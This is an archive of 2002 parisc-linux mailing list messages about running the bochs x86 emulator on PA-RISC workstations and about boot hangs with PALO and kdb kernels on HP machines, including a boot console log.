List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14854

> > I'm not aware of anyone trying to run an IA32
> emulator on parisc-linux.
> 
> fyi, bochs compiled from CVS sources (with small
> modifications) worked 
> for me.

Helge, can you provide more information about your
computer running Bochs? Are you able to run, for
example, windows 98, install stardard windows-based
softwares? How's the speed compared to the same
software run on PC+windows? Why didn't use wine? 
I am still heavily relying on windows-based software
everyday, so would love to install a windows-emulator
on my hp workstation.
Thanks a lot.
zibing



> Greetings,
> Helge


__________________________________________________
Do You Yahoo!?
Yahoo! - Official partner of 2002 FIFA World Cup
http://fifaworldcup.yahoo.com



From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can I run popular Linux software on parisc-linux?
Date: Mon, 27 May 2002 14:52:27 -0700 (PDT)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205271450140.11012-100000@garibaldi.apptechsys.com>
References: <20020527214318.75630.qmail@web21201.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621320 7578 80.91.229.3 (22 Nov 2014 01:55:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Zibing Yang <email2bing@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 15:52:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E3494830
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 15:52:29 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id E111C7BC46; Mon, 27 May 2002 14:52:27 -0700 (PDT)
In-Reply-To: <20020527214318.75630.qmail@web21201.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14855

On Mon, 27 May 2002, Zibing Yang wrote:

> > > I'm not aware of anyone trying to run an IA32
> > emulator on parisc-linux.
> > 
> > fyi, bochs compiled from CVS sources (with small
> > modifications) worked 
> > for me.
> 
> Helge, can you provide more information about your
> computer running Bochs? Are you able to run, for
> example, windows 98, install stardard windows-based
> softwares? How's the speed compared to the same
> software run on PC+windows? Why didn't use wine? 
> I am still heavily relying on windows-based software
> everyday, so would love to install a windows-emulator
> on my hp workstation.
> Thanks a lot.
> zibing
I also tried bochs on my parisc machine.  It works ok, although slow.  I 
installed NT 4 in it.  I had a few problems, but I was able to work around 
them.

The reason that wine won't work is that wine is just a windows system call 
emulator.  The program executes on the cpu, and I'm sure that none of your 
windows programs will run on a parisc cpu :)

> 
> 
> 
> > Greetings,
> > Helge
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! - Official partner of 2002 FIFA World Cup
> http://fifaworldcup.yahoo.com
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
Take your dying with some seriousness, however.  Laughing on the way to
your execution is not generally understood by less advanced life forms,
and they'll call you crazy.
		-- "Messiah's Handbook: Reminders for the Advanced Soul"




From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zibing Yang <email2bing@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can I run popular Linux software on parisc-linux?
Date: Mon, 27 May 2002 14:59:05 -0700 (PDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <20020527215905.77842.qmail@web21201.mail.yahoo.com>
References: <Pine.LNX.4.44.0205271450140.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621320 7582 80.91.229.3 (22 Nov 2014 01:55:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 15:59:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21201.mail.yahoo.com (web21201.mail.yahoo.com [216.136.129.59])
	by dsl2.external.hp.com (Postfix) with SMTP id 57DDA4844
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 15:59:07 -0600 (MDT)
Original-Received: from [128.197.55.158] by web21201.mail.yahoo.com via HTTP; Mon, 27 May 2002 14:59:05 PDT
In-Reply-To: <Pine.LNX.4.44.0205271450140.11012-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14856

--- Jeremy Drake <jeremyd@apptechsys.com> wrote:
> On Mon, 27 May 2002, Zibing Yang wrote:
> 
> > > > I'm not aware of anyone trying to run an IA32
> > > emulator on parisc-linux.
> > > 
> > > fyi, bochs compiled from CVS sources (with small
> > > modifications) worked 
> > > for me.
> > 
> > Helge, can you provide more information about your
> > computer running Bochs? Are you able to run, for
> > example, windows 98, install stardard
> windows-based
> > softwares? How's the speed compared to the same
> > software run on PC+windows? Why didn't use wine? 
> > I am still heavily relying on windows-based
> software
> > everyday, so would love to install a
> windows-emulator
> > on my hp workstation.
> > Thanks a lot.
> > zibing
> I also tried bochs on my parisc machine.  It works
> ok, although slow.  I 
> installed NT 4 in it.  I had a few problems, but I
> was able to work around 
> them.
> 
> The reason that wine won't work is that wine is just
> a windows system call 
> emulator.  The program executes on the cpu, and I'm
> sure that none of your 
> windows programs will run on a parisc cpu :)
> 

How about plex86? Plex 86, bochs and wine are all
listed on
http://packages.debian.org/testing/allpackages.html.
I am confused because I thought all packages listed
there ought to work with parisc.


__________________________________________________
Do You Yahoo!?
Yahoo! - Official partner of 2002 FIFA World Cup
http://fifaworldcup.yahoo.com



From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can I run popular Linux software on parisc-linux?
Date: Tue, 28 May 2002 00:43:09 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <200205280043.09939.deller@gmx.de>
References: <20020527215905.77842.qmail@web21201.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621320 7584 80.91.229.3 (22 Nov 2014 01:55:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Zibing Yang <email2bing@yahoo.com>,
	Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 16:43:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 679BB4843
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 16:43:50 -0600 (MDT)
Original-Received: (qmail 27333 invoked by uid 0); 27 May 2002 22:43:48 -0000
Original-Received: from pd9040d88.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.136)
  by mail.gmx.net (mp004-rz3) with SMTP; 27 May 2002 22:43:48 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020527215905.77842.qmail@web21201.mail.yahoo.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14857

On Monday 27 May 2002 23:59, Zibing Yang wrote:
> --- Jeremy Drake <jeremyd@apptechsys.com> wrote:
> > On Mon, 27 May 2002, Zibing Yang wrote:
> > > > > I'm not aware of anyone trying to run an IA32
> > > >
> > > > emulator on parisc-linux.
> > > >
> > > > fyi, bochs compiled from CVS sources (with small
> > > > modifications) worked
> > > > for me.
> > >
> > > Helge, can you provide more information about your
> > > computer running Bochs? Are you able to run, for
> > > example, windows 98, install stardard
> >
> > windows-based
> >
> > > softwares? How's the speed compared to the same
> > > software run on PC+windows? Why didn't use wine?
> > > I am still heavily relying on windows-based
> >
> > software
> >
> > > everyday, so would love to install a
> >
> > windows-emulator
> >
> > > on my hp workstation.
> > > Thanks a lot.
> > > zibing
> >
> > I also tried bochs on my parisc machine.  It works
> > ok, although slow.  I
> > installed NT 4 in it.  I had a few problems, but I
> > was able to work around
> > them.
> >
> > The reason that wine won't work is that wine is just
> > a windows system call
> > emulator.  The program executes on the cpu, and I'm
> > sure that none of your
> > windows programs will run on a parisc cpu :)
>
> How about plex86? 

Quote from the plex86 homepage (http://savannah.gnu.org/projects/plex86):
"Note:If you want to run IA-32 on a non-IA-32 architecture, then bochs is the project that you want to checkout--look for them over at SourceForge."

> Plex 86, bochs and wine are all listed on
> http://packages.debian.org/testing/allpackages.html.
> I am confused because I thought all packages listed
> there ought to work with parisc.

No, it's just a collection of _all_ source packages available.
Not all will run on any platform, e.g. there's normally no reason to get lilo for PA-RISC,
where you have to use the palo bootloader.

Last time I tried bochs was ~ 4 months back. I used it on a C3000 (400 MHz PA 2.0 CPU, UP)
and if it's speed was comparable as an 486 class CPU -iirc.

Greetings,
Helge





From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Stanford <rob@rotapile.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New testing ISO available with recent
	boot-floppies
Date: 28 May 2002 08:52:51 +1000
Lines: 71
Approved: news@gmane.org
Message-ID: <1022539971.12551.20.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621321 7586 80.91.229.3 (22 Nov 2014 01:55:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:21 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 16:53:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rotapile (CPE-203-45-167-61.qld.bigpond.net.au [203.45.167.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB1D54839
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 16:53:00 -0600 (MDT)
Original-Received: from rob by rotapile with local (Exim 3.22 #1 (Red Hat Linux))
	id 17CTMB-0003ZI-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 08:52:51 +1000
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14858

I tried the iso on my K580 (PDC console only) and no joy. Is there any
chance of enabling the PDC console (and/or device node in the ramdisk)
in the default kernel or does this introduce issues for other machines?

Robert Stanford


*CUT*
------------------------------------------------------------------------

Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Boot image contains:
    0/vmlinux32 3699025 bytes @ 0x458800
    0/vmlinux64 4733474 bytes @ 0x7e0000
    0/ramdisk 2656804 bytes @ 0xc64000

Information: No console specified on kernel command line. This is
normal.
PALO will choose the console currently used by firmware (serial).Current
comman:
0/vmlinux ramdisk_size=8192 root=/dev/ram initrd=0/ramdisk console=ttyS0
TERM=v2
 0: 0/vmlinux
 1: ramdisk_size=8192
 2: root=/dev/ram
 3: initrd=0/ramdisk
 4: console=ttyS0
 5: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? 4
console=ttyB0
Current command line:
0/vmlinux ramdisk_size=8192 root=/dev/ram initrd=0/ramdisk console=ttyB0
TERM=v2
 0: 0/vmlinux
 1: ramdisk_size=8192
 2: root=/dev/ram
 3: initrd=0/ramdisk
 4: console=ttyB0
 5: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'ramdisk_size=8192 root=/dev/ram console=ttyB0
TERM=vt'
Selected kernel: /vmlinux from partition 0
Selected ramdisk: /ramdisk from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... 
This box can boot either 32 or 64-bit kernels...Both kernels available,
choosine
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 2028032 mediaptr 0x1000
Segment 1 load 002f0000 size 299424 mediaptr 0x1f1000
Segment 2 load 0033c000 size 393548 mediaptr 0x23b000
Segment 3 load 003a0000 size 8192 mediaptr 0x29c000
Segment 4 load 003a8000 size 32768 mediaptr 0x29e000
Segment 5 load 003d1538 size 102176 mediaptr 0x2a6538
Loading ramdisk 2656804 bytes @ 3fd66000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org




From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] install on A180c
Date: Tue, 28 May 2002 15:16:36 +0100 (BST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200205281416.g4SEGap28099@phobos.norwich-union.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621321 7588 80.91.229.3 (22 Nov 2014 01:55:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 08:17:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from E-MAIL.COM (e-mail.com [204.146.168.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AC34482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 08:17:30 -0600 (MDT)
Original-Received: by E-MAIL.COM (IBM VM SMTP Level 320) via spool with SMTP id 6593 ; Tue, 28 May 2002 10:17:19 EDT
Original-Received: from gagps1.tag.norwich-union.co.uk [146.162.72.10] by IMXGATE.COM (IBM VM SMTP Level 320) via TCP with SMTP ; Tue, 28 May 2002 10:17:13 EDT
Original-Received: from emgl0104.NU (prodmailsweeper.app.norwich-union.com.tag.norwich-union.co.uk [172.26.62.246])
        by gagps1.tag.norwich-union.co.uk (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id PAA10542
        for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 15:07:07 +0100 (BST)
Original-Received: from dcssm03.midrange.norwich-union.co.uk (unverified) by emgl0104.NU
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T0ac80003865b241047ef@emgl0104.NU> for <parisc-linux@lists.parisc-linux.org>;
 Tue, 28 May 2002 15:17:50 +0000
Original-Received: from phobos.norwich-union.com (phobos.norwich-union.com [172.26.219.165])
        by dcssm03.midrange.norwich-union.co.uk (8.11.4/8.10.2) with ESMTP id g4SEGfF28073
        for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 15:16:41 +0100 (BST)
Original-Received: (from pulferj@localhost)
	by phobos.norwich-union.com (8.11.3/8.11.3) id g4SEGap28099
	for parisc-linux@lists.parisc-linux.org; Tue, 28 May 2002 15:16:36 +0100 (BST)
Content-MD5: L0wWgVzdUcXvUi6ADe+OPw==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14859

Hi,

I've tried an install from the 0.9.3 CD, but the kernel hangs shortly after
creating the ramdisk with the last message being "Branching to kernel entry
point 0x00100000. Switching console, If this is the last message you see ...."

I'm doing the install from an external SCSI DVD-ROM and using the web console.

Could anyone give me some pointers as to kernel parameters that need to be passed
to PALO or whether I need to use a serial console please.

Thanks
Jonathan Pulfer


**********************************************************************
This email and any files sent with it are intended only for the named 
recipient. If you are not the named recipient please telephone/email  
the sender immediately. You should not disclose the content or        
take/retain/distribute any copies.                                    
**********************************************************************



From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 28 May 2002 15:27:36 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20020528142736.GA9288@tykepenguin.com>
References: <20020527001321.A6629@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621321 7592 80.91.229.3 (22 Nov 2014 01:55:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:21 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 08:27:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19010482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 08:27:38 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17Chwm-0002Q2-00; Tue, 28 May 2002 15:27:36 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Content-Disposition: inline
In-Reply-To: <20020527001321.A6629@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14860

On Mon, May 27, 2002 at 12:13:21AM -0400, Carlos O'Donell Jr. wrote:
> Parisc,
> 
> All the changes from -pa24 to -p26 have been merged into the
> kdb-v21 tree (that Randolph graciously started!). Thanks go
> to bame's recipe!
> 
> A few tests show that it is equivalent to the patches I had 
> produced (fixes to traps.c for the soft power button).
> 
> If kdb is your bag, then it should all be set to go!

I can't get it to boot on my C110 - it gets stuck at the old familar "if this is
the last message you see" message. I can run the Debian 2.4.18 kernel OK on this
box.

Any ideas anyone?

patrick




From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Orac <orac@soark.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms
 cross-compile
Date: Tue, 28 May 2002 09:49:36 -0500 (CDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0205280946160.17528-100000@ns2.soark.net>
References: <20020528142736.GA9288@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621322 7594 80.91.229.3 (22 Nov 2014 01:55:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 08:49:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns2.soark.net (ns2.soark.net [206.107.134.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99BC8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 08:49:45 -0600 (MDT)
Original-Received: from localhost (orac@localhost)
	by ns2.soark.net (8.11.1/8.11.1) with ESMTP id g4SEnan17786
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 09:49:36 -0500
X-Authentication-Warning: ns2.soark.net: orac owned process doing -bs
In-Reply-To: <20020528142736.GA9288@tykepenguin.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14861

I have it running on a C110 currently. It was installed however on a
712/100 and drive was copied and kernel recompiled for the 7200 series
CPU. Are you running graphic or serial console? I am running serial
console only.

MaShaun Jones


On Tue, 28 May 2002, Patrick Caulfield wrote:

> On Mon, May 27, 2002 at 12:13:21AM -0400, Carlos O'Donell Jr. wrote:
> > Parisc,
> > 
> > All the changes from -pa24 to -p26 have been merged into the
> > kdb-v21 tree (that Randolph graciously started!). Thanks go
> > to bame's recipe!
> > 
> > A few tests show that it is equivalent to the patches I had 
> > produced (fixes to traps.c for the soft power button).
> > 
> > If kdb is your bag, then it should all be set to go!
> 
> I can't get it to boot on my C110 - it gets stuck at the old familar "if this is
> the last message you see" message. I can run the Debian 2.4.18 kernel OK on this
> box.
> 
> Any ideas anyone?
> 
> patrick
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 28 May 2002 15:58:28 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020528145828.GB9288@tykepenguin.com>
References: <20020528142736.GA9288@tykepenguin.com> <Pine.LNX.4.21.0205280946160.17528-100000@ns2.soark.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621322 7597 80.91.229.3 (22 Nov 2014 01:55:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 08:58:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18022482A
